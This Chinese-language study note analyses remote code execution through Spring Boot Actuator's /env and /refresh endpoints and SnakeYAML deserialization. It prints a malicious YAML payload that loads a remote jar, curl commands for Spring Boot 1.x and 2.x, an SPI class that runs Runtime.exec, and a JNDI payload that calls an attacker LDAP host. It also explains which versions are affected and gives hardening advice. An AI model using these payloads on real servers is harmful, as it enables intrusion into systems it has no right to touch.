Exploit Spring Boot Actuator之Spring Cloud Env学习笔记
字数 1811 2025-08-18 11:39:15

Spring Boot Actuator与Spring Cloud环境变量利用分析

0x01 概述

本文详细分析Spring Boot Actuator端点与Spring Cloud环境变量配置结合时存在的安全风险,特别是通过修改spring.cloud.bootstrap.location环境变量实现远程代码执行(RCE)的原理和过程。

0x02 利用原理

基本利用流程

  1. 利用/env端点修改spring.cloud.bootstrap.location属性值为外部yml配置文件URL
  2. 请求/refresh端点,触发程序下载外部yml文件
  3. SnakeYAML库解析该yml文件时触发反序列化漏洞
  4. 结合javax.script.ScriptEngineManager类加载远程jar包,实现任意代码执行

SnakeYAML反序列化机制

SnakeYAML支持通过!!加完整类名的方式指定反序列化的类,并用[arg1, arg2, ...]传递构造方法参数:

@Test
public void testYaml() {
    Yaml yaml = new Yaml();
    Object url = yaml.load("!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]");
    System.out.println(url.getClass()); // 输出java.net.URL
    System.out.println(url); // 输出http://127.0.0.1:63712/yaml-payload.jar
}

恶意yml文件示例

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
  ]]
]

等价于以下Java代码:

URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));

0x03 详细分析

攻击流程分析

  1. 修改环境变量

    curl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"
    
  2. 触发刷新

    curl -XPOST http://127.0.0.1:61234/refresh
    

关键调用栈

  1. RefreshEndpoint.refresh() - 处理/refresh端点请求
  2. BootstrapApplicationListener.bootstrapServiceContext() - 从环境变量获取spring.cloud.bootstrap.location
  3. PropertySourcesLoader.load() - 根据文件后缀选择YamlPropertySourceLoader加载器
  4. YamlProcessor.process() - 调用Yaml.loadAll()解析yml内容

恶意jar包结构

示例项目:https://github.com/artsploit/yaml-payload

关键类AwesomeScriptEngineFactory.java

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    // 其他必要方法实现...
}

必须符合Java SPI规范:

  • 实现ScriptEngineFactory接口
  • META-INF/services/目录下创建javax.script.ScriptEngineFactory文件,内容为实现类全名

0x04 高版本限制分析

Spring Boot 2.x的变化

  1. 端点前缀变为/actuator

  2. 修改环境变量的请求体变为JSON格式:

    curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'
    
  3. 刷新端点:

    curl -XPOST http://127.0.0.1:61234/actuator/refresh
    

失效原因

ContextRefresher.copyEnvironment()方法在高版本中只处理DEFAULT_PROPERTY_SOURCEScommandLineArgsdefaultProperties),而忽略了我们添加的manager属性源。

受影响版本

  • 可成功利用

    • Spring Boot <= 1.4.x
    • Spring Boot 1.5.x + Spring Cloud Dalston.RELEASE(依赖spring-cloud-commons 1.2.0)
  • 无法利用

    • Spring Boot 2.x
    • Spring Boot 1.5.x + Spring Cloud Edgware(依赖spring-cloud-commons >=1.3.0)

0x05 其他利用方式

JNDI注入替代方案

!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://attacker/obj
autoCommit: true

YamlPropertySourceLoader变化

高版本Spring Boot将解析后的值存放在OriginTrackedValue.$OriginTrackedCharSequence而非String中,导致反射创建实例失败。

0x06 防御建议

  1. 升级到最新Spring Boot和Spring Cloud版本
  2. 限制Actuator端点的访问权限
  3. 禁用不必要的端点(特别是/env/refresh
  4. 使用management.endpoint.env.enabled=false禁用环境变量端点

0x07 参考资源

  1. Exploiting Spring Boot Actuators
  2. Java-Deserialization-Cheat-Sheet
  3. SnakeYAML Documentation
  4. Spring Cloud官方文档
Spring Boot Actuator与Spring Cloud环境变量利用分析 0x01 概述 本文详细分析Spring Boot Actuator端点与Spring Cloud环境变量配置结合时存在的安全风险,特别是通过修改 spring.cloud.bootstrap.location 环境变量实现远程代码执行(RCE)的原理和过程。 0x02 利用原理 基本利用流程 利用 /env 端点修改 spring.cloud.bootstrap.location 属性值为外部yml配置文件URL 请求 /refresh 端点,触发程序下载外部yml文件 SnakeYAML库解析该yml文件时触发反序列化漏洞 结合 javax.script.ScriptEngineManager 类加载远程jar包,实现任意代码执行 SnakeYAML反序列化机制 SnakeYAML支持通过 !! 加完整类名的方式指定反序列化的类,并用 [arg1, arg2, ...] 传递构造方法参数: 恶意yml文件示例 等价于以下Java代码: 0x03 详细分析 攻击流程分析 修改环境变量 : 触发刷新 : 关键调用栈 RefreshEndpoint.refresh() - 处理 /refresh 端点请求 BootstrapApplicationListener.bootstrapServiceContext() - 从环境变量获取 spring.cloud.bootstrap.location 值 PropertySourcesLoader.load() - 根据文件后缀选择 YamlPropertySourceLoader 加载器 YamlProcessor.process() - 调用 Yaml.loadAll() 解析yml内容 恶意jar包结构 示例项目:https://github.com/artsploit/yaml-payload 关键类 AwesomeScriptEngineFactory.java : 必须符合Java SPI规范: 实现 ScriptEngineFactory 接口 在 META-INF/services/ 目录下创建 javax.script.ScriptEngineFactory 文件,内容为实现类全名 0x04 高版本限制分析 Spring Boot 2.x的变化 端点前缀变为 /actuator 修改环境变量的请求体变为JSON格式: 刷新端点: 失效原因 ContextRefresher.copyEnvironment() 方法在高版本中只处理 DEFAULT_PROPERTY_SOURCES ( commandLineArgs 和 defaultProperties ),而忽略了我们添加的 manager 属性源。 受影响版本 可成功利用 : Spring Boot <= 1.4.x Spring Boot 1.5.x + Spring Cloud Dalston.RELEASE(依赖spring-cloud-commons 1.2.0) 无法利用 : Spring Boot 2.x Spring Boot 1.5.x + Spring Cloud Edgware(依赖spring-cloud-commons >=1.3.0) 0x05 其他利用方式 JNDI注入替代方案 YamlPropertySourceLoader变化 高版本Spring Boot将解析后的值存放在 OriginTrackedValue.$OriginTrackedCharSequence 而非 String 中,导致反射创建实例失败。 0x06 防御建议 升级到最新Spring Boot和Spring Cloud版本 限制Actuator端点的访问权限 禁用不必要的端点(特别是 /env 和 /refresh ) 使用 management.endpoint.env.enabled=false 禁用环境变量端点 0x07 参考资源 Exploiting Spring Boot Actuators Java-Deserialization-Cheat-Sheet SnakeYAML Documentation Spring Cloud官方文档